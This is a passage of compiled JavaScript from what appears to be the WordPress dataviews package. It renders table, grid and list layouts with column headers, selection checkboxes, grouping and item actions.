3281 isItemClickable: isItemClickable2,
3282 onClickItem,
3283 renderItemLink
3284 }
3285 ) }),
3286 columns.map((column) => {
3287 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
3288 const field = fields.find((f2) => f2.id === column);
3289 const effectiveAlign = getEffectiveAlign(align, field?.type);
3290 return /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3291 "td",
3292 {
3293 style: {
3294 width,
3295 maxWidth,
3296 minWidth
3297 },
3298 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3299 TableColumnField,
3300 {
3301 fields,
3302 item,
3303 column,
3304 align: effectiveAlign
3305 }
3306 )
3307 },
3308 column
3309 );
3310 }),
3311 !!actions?.length && // Disable reason: we are not making the element interactive,
3312 // but preventing any click events from bubbling up to the
3313 // table row. This allows us to add a click handler to the row
3314 // itself (to toggle row selection) without erroneously
3315 // intercepting click events from ItemActions.
3316 /* eslint-disable jsx-a11y/no-noninteractive-element-interactions, jsx-a11y/click-events-have-key-events */
3317 /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3318 "td",
3319 {
3320 className: clsx_default("dataviews-view-table__actions-column", {
3321 "dataviews-view-table__actions-column--sticky": true,
3322 "dataviews-view-table__actions-column--stuck": isActionsColumnSticky
3323 }),
3324 onClick: (e2) => e2.stopPropagation(),
3325 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(ItemActions, { item, actions })
3326 }
3327 )
3328 ]
3329 }
3330 );
3331 }
3332 function ViewTable({
3333 actions,
3334 data,
3335 fields,
3336 getItemId,
3337 getItemLevel,
3338 isLoading = false,
3339 onChangeView,
3340 onChangeSelection,
3341 selection,
3342 setOpenedFilter,
3343 onClickItem,
3344 isItemClickable: isItemClickable2,
3345 renderItemLink,
3346 view,
3347 className,
3348 empty
3349 }) {
3350 const { containerRef } = (0, import_element11.useContext)(dataviews_context_default);
3351 const isDelayedLoading = useDelayedLoading(isLoading);
3352 const headerMenuRefs = (0, import_element11.useRef)(/* @__PURE__ */ new Map());
3353 const headerMenuToFocusRef = (0, import_element11.useRef)(void 0);
3354 const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0, import_element11.useState)();
3355 const [contextMenuAnchor, setContextMenuAnchor] = (0, import_element11.useState)(null);
3356 (0, import_element11.useEffect)(() => {
3357 if (headerMenuToFocusRef.current) {
3358 headerMenuToFocusRef.current.focus();
3359 headerMenuToFocusRef.current = void 0;
3360 }
3361 });
3362 const tableNoticeId = (0, import_element11.useId)();
3363 const isHorizontalScrollEnd = useIsHorizontalScrollEnd({
3364 scrollContainerRef: containerRef,
3365 enabled: !!actions?.length
3366 });
3367 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
3368 if (nextHeaderMenuToFocus) {
3369 headerMenuToFocusRef.current = nextHeaderMenuToFocus;
3370 setNextHeaderMenuToFocus(void 0);
3371 return;
3372 }
3373 const onHide = (field) => {
3374 const hidden = headerMenuRefs.current.get(field.id);
3375 const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : void 0;
3376 setNextHeaderMenuToFocus(fallback?.node);
3377 };
3378 const handleHeaderContextMenu = (event) => {
3379 event.preventDefault();
3380 event.stopPropagation();
3381 const virtualAnchor = {
3382 getBoundingClientRect: () => ({
3383 x: event.clientX,
3384 y: event.clientY,
3385 top: event.clientY,
3386 left: event.clientX,
3387 right: event.clientX,
3388 bottom: event.clientY,
3389 width: 0,
3390 height: 0,
3391 toJSON: () => ({})
3392 })
3393 };
3394 window.requestAnimationFrame(() => {
3395 setContextMenuAnchor(virtualAnchor);
3396 });
3397 };
3398 const hasData = !!data?.length;
3399 const titleField = fields.find((field) => field.id === view.titleField);
3400 const mediaField = fields.find((field) => field.id === view.mediaField);
3401 const descriptionField2 = fields.find(
3402 (field) => field.id === view.descriptionField
3403 );
3404 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
3405 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
3406 const { showTitle = true, showMedia = true, showDescription = true } = view;
3407 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
3408 const columns = view.fields ?? [];
3409 const headerMenuRef = (column, index) => (node) => {
3410 if (node) {
3411 headerMenuRefs.current.set(column, {
3412 node,
3413 fallback: columns[index > 0 ? index - 1 : 1]
3414 });
3415 } else {
3416 headerMenuRefs.current.delete(column);
3417 }
3418 };
3419 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
3420 const isRtl = (0, import_i18n15.isRTL)();
3421 if (!hasData) {
3422 return /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3423 "div",
3424 {
3425 className: clsx_default("dataviews-no-results", {
3426 "is-refreshing": isDelayedLoading
3427 }),
3428 id: tableNoticeId,
3429 children: empty
3430 }
3431 );
3432 }
3433 return /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)(import_jsx_runtime37.Fragment, { children: [
3434 /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)(
3435 "table",
3436 {
3437 className: clsx_default("dataviews-view-table", className, {
3438 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
3439 view.layout.density
3440 ),
3441 "has-bulk-actions": hasBulkActions,
3442 "is-refreshing": !isInfiniteScroll && isDelayedLoading
3443 }),
3444 "aria-busy": isLoading,
3445 "aria-describedby": tableNoticeId,
3446 role: isInfiniteScroll ? "feed" : void 0,
3447 inert: !isInfiniteScroll && isLoading ? "true" : void 0,
3448 children: [
3449 /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)("colgroup", { children: [
3450 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("col", { className: "dataviews-view-table__col-checkbox" }),
3451 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("col", { className: "dataviews-view-table__col-first-data" }),
3452 columns.map((column, index) => /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3453 "col",
3454 {
3455 className: clsx_default(
3456 `dataviews-view-table__col-${column}`,
3457 {
3458 "dataviews-view-table__col-first-data": !hasPrimaryColumn && index === 0
3459 }
3460 )
3461 },
3462 `col-${column}`
3463 )),
3464 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("col", { className: "dataviews-view-table__col-actions" })
3465 ] }),
3466 contextMenuAnchor && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3467 import_components6.Popover,
3468 {
3469 anchor: contextMenuAnchor,
3470 onClose: () => setContextMenuAnchor(null),
3471 placement: "bottom-start",
3472 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(PropertiesSection, { showLabel: false })
3473 }
3474 ),
3475 /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("thead", { onContextMenu: handleHeaderContextMenu, children: /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)("tr", { className: "dataviews-view-table__row", children: [
3476 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3477 "th",
3478 {
3479 className: "dataviews-view-table__checkbox-column",
3480 scope: "col",
3481 onContextMenu: handleHeaderContextMenu,
3482 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3483 BulkSelectionCheckbox,
3484 {
3485 selection,
3486 onChangeSelection,
3487 data,
3488 actions,
3489 getItemId
3490 }
3491 )
3492 }
3493 ),
3494 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("th", { scope: "col", children: titleField && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3495 column_header_menu_default,
3496 {
3497 ref: headerMenuRef(
3498 titleField.id,
3499 0
3500 ),
3501 fieldId: titleField.id,
3502 view,
3503 fields,
3504 onChangeView,
3505 onHide,
3506 setOpenedFilter,
3507 canMove: false,
3508 canInsertLeft: isRtl ? view.layout?.enableMoving ?? true : false,
3509 canInsertRight: isRtl ? false : view.layout?.enableMoving ?? true
3510 }
3511 ) }),
3512 columns.map((column, index) => {
3513 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
3514 const field = fields.find(
3515 (f2) => f2.id === column
3516 );
3517 const effectiveAlign = getEffectiveAlign(
3518 align,
3519 field?.type
3520 );
3521 const canInsertOrMove = view.layout?.enableMoving ?? true;
3522 return /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3523 "th",
3524 {
3525 style: {
3526 width,
3527 maxWidth,
3528 minWidth,
3529 textAlign: effectiveAlign
3530 },
3531 "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : void 0,
3532 scope: "col",
3533 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3534 column_header_menu_default,
3535 {
3536 ref: headerMenuRef(column, index),
3537 fieldId: column,
3538 view,
3539 fields,
3540 onChangeView,
3541 onHide,
3542 setOpenedFilter,
3543 canMove: canInsertOrMove,
3544 canInsertLeft: canInsertOrMove,
3545 canInsertRight: canInsertOrMove
3546 }
3547 )
3548 },
3549 column
3550 );
3551 }),
3552 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3553 "th",
3554 {
3555 className: clsx_default(
3556 "dataviews-view-table__actions-column",
3557 {
3558 "dataviews-view-table__actions-column--sticky": true,
3559 "dataviews-view-table__actions-column--stuck": !isHorizontalScrollEnd
3560 }
3561 ),
3562 children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("span", { className: "dataviews-view-table-header", children: (0, import_i18n15.__)("Actions") })
3563 }
3564 )
3565 ] }) }),
3566 hasData && groupField && dataByGroup ? Array.from(dataByGroup.entries()).map(
3567 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)("tbody", { children: [
3568 /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("tr", { className: "dataviews-view-table__group-header-row", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3569 "td",
3570 {
3571 colSpan: columns.length + (hasPrimaryColumn ? 1 : 0) + (hasBulkActions ? 1 : 0) + (actions?.length ? 1 : 0),
3572 className: "dataviews-view-table__group-header-cell",
3573 children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n15.sprintf)(
3574 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
3575 (0, import_i18n15.__)("%1$s: %2$s"),
3576 groupField.label,
3577 groupName
3578 )
3579 }
3580 ) }),
3581 groupItems.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3582 TableRow,
3583 {
3584 item,
3585 level: view.showLevels && typeof getItemLevel === "function" ? getItemLevel(item) : void 0,
3586 hasBulkActions,
3587 actions,
3588 fields,
3589 id: getItemId(item) || index.toString(),
3590 view,
3591 titleField,
3592 mediaField,
3593 descriptionField: descriptionField2,
3594 selection,
3595 getItemId,
3596 onChangeSelection,
3597 onClickItem,
3598 renderItemLink,
3599 isItemClickable: isItemClickable2,
3600 isActionsColumnSticky: !isHorizontalScrollEnd
3601 },
3602 getItemId(item)
3603 ))
3604 ] }, `group-${groupName}`)
3605 ) : /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("tbody", { children: hasData && data.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3606 TableRow,
3607 {
3608 item,
3609 level: view.showLevels && typeof getItemLevel === "function" ? getItemLevel(item) : void 0,
3610 hasBulkActions,
3611 actions,
3612 fields,
3613 id: getItemId(item) || index.toString(),
3614 view,
3615 titleField,
3616 mediaField,
3617 descriptionField: descriptionField2,
3618 selection,
3619 getItemId,
3620 onChangeSelection,
3621 onClickItem,
3622 renderItemLink,
3623 isItemClickable: isItemClickable2,
3624 isActionsColumnSticky: !isHorizontalScrollEnd,
3625 posinset: isInfiniteScroll ? index + 1 : void 0
3626 },
3627 getItemId(item)
3628 )) })
3629 ]
3630 }
3631 ),
3632 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("div", { className: "dataviews-loading", id: tableNoticeId, children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_components6.Spinner, {}) }) })
3633 ] });
3634 }
3635 var table_default = ViewTable;
3636
3637 // packages/dataviews/build-module/components/dataviews-layouts/grid/index.mjs
3638 var import_components9 = __toESM(require_components(), 1);
3639 var import_i18n18 = __toESM(require_i18n(), 1);
3640
3641 // packages/dataviews/build-module/components/dataviews-layouts/grid/composite-grid.mjs
3642 var import_components8 = __toESM(require_components(), 1);
3643 var import_i18n17 = __toESM(require_i18n(), 1);
3644 var import_compose4 = __toESM(require_compose(), 1);
3645 var import_keycodes2 = __toESM(require_keycodes(), 1);
3646 var import_element13 = __toESM(require_element(), 1);
3647
3648 // packages/dataviews/build-module/components/dataviews-layouts/grid/preview-size-picker.mjs
3649 var import_components7 = __toESM(require_components(), 1);
3650 var import_i18n16 = __toESM(require_i18n(), 1);
3651 var import_element12 = __toESM(require_element(), 1);
3652 var import_jsx_runtime38 = __toESM(require_jsx_runtime(), 1);
3653 var imageSizes = [
3654 {
3655 value: 120,
3656 breakpoint: 1
3657 },
3658 {
3659 value: 170,
3660 breakpoint: 1
3661 },
3662 {
3663 value: 230,
3664 breakpoint: 1
3665 },
3666 {
3667 value: 290,
3668 breakpoint: 1112
3669 // at minimum image width, 4 images display at this container size
3670 },
3671 {
3672 value: 350,
3673 breakpoint: 1636
3674 // at minimum image width, 6 images display at this container size
3675 },
3676 {
3677 value: 430,
3678 breakpoint: 588
3679 // at minimum image width, 2 images display at this container size
3680 }
3681 ];
3682 var DEFAULT_PREVIEW_SIZE = imageSizes[2].value;
3683 function useGridColumns() {
3684 const context = (0, import_element12.useContext)(dataviews_context_default);
3685 const view = context.view;
3686 return (0, import_element12.useMemo)(() => {
3687 const containerWidth = context.containerWidth;
3688 const gap = 32;
3689 const previewSize = view.layout?.previewSize ?? DEFAULT_PREVIEW_SIZE;
3690 const columns = Math.floor(
3691 (containerWidth + gap) / (previewSize + gap)
3692 );
3693 return Math.max(1, columns);
3694 }, [context.containerWidth, view.layout?.previewSize]);
3695 }
3696
3697 // packages/dataviews/build-module/components/dataviews-layouts/grid/composite-grid.mjs
3698 var import_jsx_runtime39 = __toESM(require_jsx_runtime(), 1);
3699 var { Badge } = unlock(import_components8.privateApis);
3700 function chunk(array, size) {
3701 const chunks = [];
3702 for (let i2 = 0, j2 = array.length; i2 < j2; i2 += size) {
3703 chunks.push(array.slice(i2, i2 + size));
3704 }
3705 return chunks;
3706 }
3707 var GridItem = (0, import_element13.forwardRef)(function GridItem2({
3708 view,
3709 selection,
3710 onChangeSelection,
3711 onClickItem,
3712 isItemClickable: isItemClickable2,
3713 renderItemLink,
3714 getItemId,
3715 item,
3716 actions,
3717 mediaField,
3718 titleField,
3719 descriptionField: descriptionField2,
3720 regularFields,
3721 badgeFields,
3722 hasBulkActions,
3723 config,
3724 ...props
3725 }, ref) {
3726 const { showTitle = true, showMedia = true, showDescription = true } = view;
3727 const hasBulkAction = useHasAPossibleBulkAction(actions, item);
3728 const id = getItemId(item);
3729 const instanceId = (0, import_compose4.useInstanceId)(GridItem2);
3730 const isSelected2 = selection.includes(id);
3731 const mediaPlaceholder = /* @__PURE__ */ (0, import_jsx_runtime39.jsx)("span", { className: "dataviews-view-grid__media-placeholder" });
3732 const rendersMediaField = showMedia && mediaField?.render;
3733 const renderedMediaField = rendersMediaField ? /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3734 mediaField.render,
3735 {
3736 item,
3737 field: mediaField,
3738 config
3739 }
3740 ) : mediaPlaceholder;
3741 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(titleField.render, { item, field: titleField }) : null;
3742 let mediaA11yProps;
3743 let titleA11yProps;
3744 if (isItemClickable2(item) && onClickItem) {
3745 if (renderedTitleField) {
3746 mediaA11yProps = {
3747 "aria-labelledby": `dataviews-view-grid__title-field-${instanceId}`
3748 };
3749 titleA11yProps = {
3750 id: `dataviews-view-grid__title-field-${instanceId}`
3751 };
3752 } else {
3753 mediaA11yProps = {
3754 "aria-label": (0, import_i18n17.__)("Navigate to item")
3755 };
3756 }
3757 }
3758 return /* @__PURE__ */ (0, import_jsx_runtime39.jsxs)(
3759 Stack,
3760 {
3761 direction: "column",
3762 ...props,
3763 ref,
3764 className: clsx_default(
3765 props.className,
3766 "dataviews-view-grid__row__gridcell",
3767 "dataviews-view-grid__card",
3768 {
3769 "is-selected": hasBulkAction && isSelected2
3770 }
3771 ),
3772 onClickCapture: (event) => {
3773 props.onClickCapture?.(event);
3774 if ((0, import_keycodes2.isAppleOS)() ? event.metaKey : event.ctrlKey) {
3775 event.stopPropagation();
3776 event.preventDefault();
3777 if (!hasBulkAction) {
3778 return;
3779 }
3780 onChangeSelection(
3781 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
3782 );
3783 }
3784 },
3785 children: [
3786 /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3787 ItemClickWrapper,
3788 {
3789 item,
3790 isItemClickable: isItemClickable2,
3791 onClickItem,
3792 renderItemLink,
3793 className: clsx_default("dataviews-view-grid__media", {
3794 "dataviews-view-grid__media--placeholder": !rendersMediaField
3795 }),
3796 ...mediaA11yProps,
3797 children: renderedMediaField
3798 }
3799 ),
3800 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3801 DataViewsSelectionCheckbox,
3802 {
3803 item,
3804 selection,
3805 onChangeSelection,
3806 getItemId,
3807 titleField,
3808 disabled: !hasBulkAction
3809 }
3810 ),
3811 !!actions?.length && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)("div", { className: "dataviews-view-grid__media-actions", children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(ItemActions, { item, actions, isCompact: true }) }),
3812 showTitle && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)("div", { className: "dataviews-view-grid__title", children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3813 ItemClickWrapper,
3814 {
3815 item,
3816 isItemClickable: isItemClickable2,
3817 onClickItem,
3818 renderItemLink,
3819 className: "dataviews-view-grid__title-field dataviews-title-field",
3820 ...titleA11yProps,
3821 title: titleField?.getValueFormatted({
3822 item,
3823 field: titleField
3824 }) || void 0,
3825 children: renderedTitleField
3826 }
3827 ) }),
3828 /* @__PURE__ */ (0, import_jsx_runtime39.jsxs)(Stack, { direction: "column", gap: "xs", children: [
3829 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3830 descriptionField2.render,
3831 {
3832 item,
3833 field: descriptionField2
3834 }
3835 ),
3836 !!badgeFields?.length && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3837 Stack,
3838 {
3839 direction: "row",
3840 className: "dataviews-view-grid__badge-fields",
3841 gap: "sm",
3842 wrap: "wrap",
3843 align: "top",
3844 justify: "flex-start",
3845 children: badgeFields.map((field) => {
3846 return /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3847 Badge,
3848 {
3849 className: "dataviews-view-grid__field-value",
3850 children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3851 field.render,
3852 {
3853 item,
3854 field
3855 }
3856 )
3857 },
3858 field.id
3859 );
3860 })
3861 }
3862 ),
3863 !!regularFields?.length && /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3864 Stack,
3865 {
3866 direction: "column",
3867 className: "dataviews-view-grid__fields",
3868 gap: "xs",
3869 children: regularFields.map((field) => {
3870 return /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3871 import_components8.Flex,
3872 {
3873 className: "dataviews-view-grid__field",
3874 gap: 1,
3875 justify: "flex-start",
3876 expanded: true,
3877 style: { height: "auto" },
3878 direction: "row",
3879 children: /* @__PURE__ */ (0, import_jsx_runtime39.jsxs)(import_jsx_runtime39.Fragment, { children: [
3880 /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_components8.Tooltip, { text: field.label, children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_components8.FlexItem, { className: "dataviews-view-grid__field-name", children: field.header }) }),
3881 /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3882 import_components8.FlexItem,
3883 {
3884 className: "dataviews-view-grid__field-value",
3885 style: { maxHeight: "none" },
3886 children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3887 field.render,
3888 {
3889 item,
3890 field
3891 }
3892 )
3893 }
3894 )
3895 ] })
3896 },
3897 field.id
3898 );
3899 })
3900 }
3901 )
3902 ] })
3903 ]
3904 }
3905 );
3906 });
3907 function CompositeGrid({
3908 data,
3909 isInfiniteScroll,
3910 className,
3911 inert,
3912 isLoading,
3913 view,
3914 fields,
3915 selection,
3916 onChangeSelection,
3917 onClickItem,
3918 isItemClickable: isItemClickable2,
3919 renderItemLink,
3920 getItemId,
3921 actions
3922 }) {
3923 const { paginationInfo, resizeObserverRef } = (0, import_element13.useContext)(dataviews_context_default);
3924 const gridColumns = useGridColumns();
3925 const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
3926 const titleField = fields.find(
3927 (field) => field.id === view?.titleField
3928 );
3929 const mediaField = fields.find(
3930 (field) => field.id === view?.mediaField
3931 );
3932 const descriptionField2 = fields.find(
3933 (field) => field.id === view?.descriptionField
3934 );
3935 const otherFields = view.fields ?? [];
3936 const { regularFields, badgeFields } = otherFields.reduce(
3937 (accumulator, fieldId) => {
3938 const field = fields.find((f2) => f2.id === fieldId);
3939 if (!field) {
3940 return accumulator;
3941 }
3942 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
3943 accumulator[key].push(field);
3944 return accumulator;
3945 },
3946 { regularFields: [], badgeFields: [] }
3947 );
3948 const size = "900px";
3949 const totalRows = Math.ceil(data.length / gridColumns);
3950 return /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3951 import_components8.Composite,
3952 {
3953 role: isInfiniteScroll ? "feed" : "grid",
3954 className: clsx_default("dataviews-view-grid", className),
3955 focusWrap: true,
3956 "aria-busy": isLoading,
3957 "aria-rowcount": isInfiniteScroll ? void 0 : totalRows,
3958 ref: resizeObserverRef,
3959 inert,
3960 children: chunk(data, gridColumns).map((row, i2) => /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3961 import_components8.Composite.Row,
3962 {
3963 render: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3964 "div",
3965 {
3966 role: "row",
3967 "aria-rowindex": i2 + 1,
3968 "aria-label": (0, import_i18n17.sprintf)(
3969 /* translators: %d: The row number in the grid */
3970 (0, import_i18n17.__)("Row %d"),
3971 i2 + 1
3972 ),
3973 className: "dataviews-view-grid__row",
3974 style: {
3975 gridTemplateColumns: `repeat( ${gridColumns}, minmax(0, 1fr) )`
3976 }
3977 }
3978 ),
3979 children: row.map((item, indexInRow) => {
3980 const index = i2 * gridColumns + indexInRow;
3981 return /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3982 import_components8.Composite.Item,
3983 {
3984 render: (props) => /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(
3985 GridItem,
3986 {
3987 ...props,
3988 role: isInfiniteScroll ? "article" : "gridcell",
3989 "aria-setsize": isInfiniteScroll ? paginationInfo.totalItems : void 0,
3990 "aria-posinset": isInfiniteScroll ? index + 1 : void 0,
3991 view,
3992 selection,
3993 onChangeSelection,
3994 onClickItem,
3995 isItemClickable: isItemClickable2,
3996 renderItemLink,
3997 getItemId,
3998 item,
3999 actions,
4000 mediaField,
4001 titleField,
4002 descriptionField: descriptionField2,
4003 regularFields,
4004 badgeFields,
4005 hasBulkActions,
4006 config: {
4007 sizes: size
4008 }
4009 }
4010 )
4011 },
4012 getItemId(item)
4013 );
4014 })
4015 },
4016 i2
4017 ))
4018 }
4019 );
4020 }
4021
4022 // packages/dataviews/build-module/components/dataviews-layouts/grid/index.mjs
4023 var import_jsx_runtime40 = __toESM(require_jsx_runtime(), 1);
4024 function ViewGrid({
4025 actions,
4026 data,
4027 fields,
4028 getItemId,
4029 isLoading,
4030 onChangeSelection,
4031 onClickItem,
4032 isItemClickable: isItemClickable2,
4033 renderItemLink,
4034 selection,
4035 view,
4036 className,
4037 empty
4038 }) {
4039 const isDelayedLoading = useDelayedLoading(!!isLoading);
4040 const hasData = !!data?.length;
4041 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
4042 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
4043 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
4044 if (!hasData) {
4045 return /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(
4046 "div",
4047 {
4048 className: clsx_default("dataviews-no-results", {
4049 "is-refreshing": isDelayedLoading
4050 }),
4051 children: empty
4052 }
4053 );
4054 }
4055 const gridProps = {
4056 className: clsx_default(className, {
4057 "is-refreshing": !isInfiniteScroll && isDelayedLoading
4058 }),
4059 inert: !isInfiniteScroll && !!isLoading ? "true" : void 0,
4060 isLoading,
4061 view,
4062 fields,
4063 selection,
4064 onChangeSelection,
4065 onClickItem,
4066 isItemClickable: isItemClickable2,
4067 renderItemLink,
4068 getItemId,
4069 actions
4070 };
4071 return /* @__PURE__ */ (0, import_jsx_runtime40.jsxs)(import_jsx_runtime40.Fragment, {
4072 // Render multiple groups.
4073 children: [
4074 hasData && groupField && dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(Stack, { direction: "column", gap: "lg", children: Array.from(dataByGroup.entries()).map(
4075 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime40.jsxs)(
4076 Stack,
4077 {
4078 direction: "column",
4079 gap: "sm",
4080 children: [
4081 /* @__PURE__ */ (0, import_jsx_runtime40.jsx)("h3", { className: "dataviews-view-grid__group-header", children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n18.sprintf)(
4082 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
4083 (0, import_i18n18.__)("%1$s: %2$s"),
4084 groupField.label,
4085 groupName
4086 ) }),
4087 /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(
4088 CompositeGrid,
4089 {
4090 ...gridProps,
4091 data: groupItems,
4092 isInfiniteScroll: false
4093 }
4094 )
4095 ]
4096 },
4097 groupName
4098 )
4099 ) }),
4100 // Render a single grid with all data.
4101 !dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(
4102 CompositeGrid,
4103 {
4104 ...gridProps,
4105 data,
4106 isInfiniteScroll: !!isInfiniteScroll
4107 }
4108 ),
4109 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime40.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_components9.Spinner, {}) })
4110 ]
4111 });
4112 }
4113 var grid_default = ViewGrid;
4114
4115 // packages/dataviews/build-module/components/dataviews-layouts/list/index.mjs
4116 var import_compose5 = __toESM(require_compose(), 1);
4117 var import_components10 = __toESM(require_components(), 1);
4118 var import_element14 = __toESM(require_element(), 1);
4119 var import_i18n19 = __toESM(require_i18n(), 1);
4120 var import_data3 = __toESM(require_data(), 1);
4121 var import_jsx_runtime41 = __toESM(require_jsx_runtime(), 1);
4122 var { Menu: Menu3 } = unlock(import_components10.privateApis);
4123 function generateItemWrapperCompositeId(idPrefix) {
4124 return `${idPrefix}-item-wrapper`;
4125 }
4126 function generatePrimaryActionCompositeId(idPrefix, primaryActionId) {
4127 return `${idPrefix}-primary-action-${primaryActionId}`;
4128 }
4129 function generateDropdownTriggerCompositeId(idPrefix) {
4130 return `${idPrefix}-dropdown`;
4131 }
4132 function PrimaryActionGridCell({
4133 idPrefix,
4134 primaryAction,
4135 item
4136 }) {
4137 const registry = (0, import_data3.useRegistry)();
4138 const [isModalOpen, setIsModalOpen] = (0, import_element14.useState)(false);
4139 const compositeItemId = generatePrimaryActionCompositeId(
4140 idPrefix,
4141 primaryAction.id
4142 );
4143 const label = typeof primaryAction.label === "string" ? primaryAction.label : primaryAction.label([item]);
4144 return "RenderModal" in primaryAction ? /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4145 import_components10.Composite.Item,
4146 {
4147 id: compositeItemId,
4148 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4149 import_components10.Button,
4150 {
4151 disabled: !!primaryAction.disabled,
4152 accessibleWhenDisabled: true,
4153 text: label,
4154 size: "small",
4155 onClick: () => setIsModalOpen(true)
4156 }
4157 ),
4158 children: isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4159 ActionModal,
4160 {
4161 action: primaryAction,
4162 items: [item],
4163 closeModal: () => setIsModalOpen(false)
4164 }
4165 )
4166 }
4167 ) }, primaryAction.id) : /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4168 import_components10.Composite.Item,
4169 {
4170 id: compositeItemId,
4171 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4172 import_components10.Button,
4173 {
4174 disabled: !!primaryAction.disabled,
4175 accessibleWhenDisabled: true,
4176 size: "small",
4177 onClick: () => {
4178 primaryAction.callback([item], { registry });
4179 },
4180 children: label
4181 }
4182 )
4183 }
4184 ) }, primaryAction.id);
4185 }
4186 function ListItem({
4187 view,
4188 actions,
4189 idPrefix,
4190 isSelected: isSelected2,
4191 item,
4192 titleField,
4193 mediaField,
4194 descriptionField: descriptionField2,
4195 onSelect,
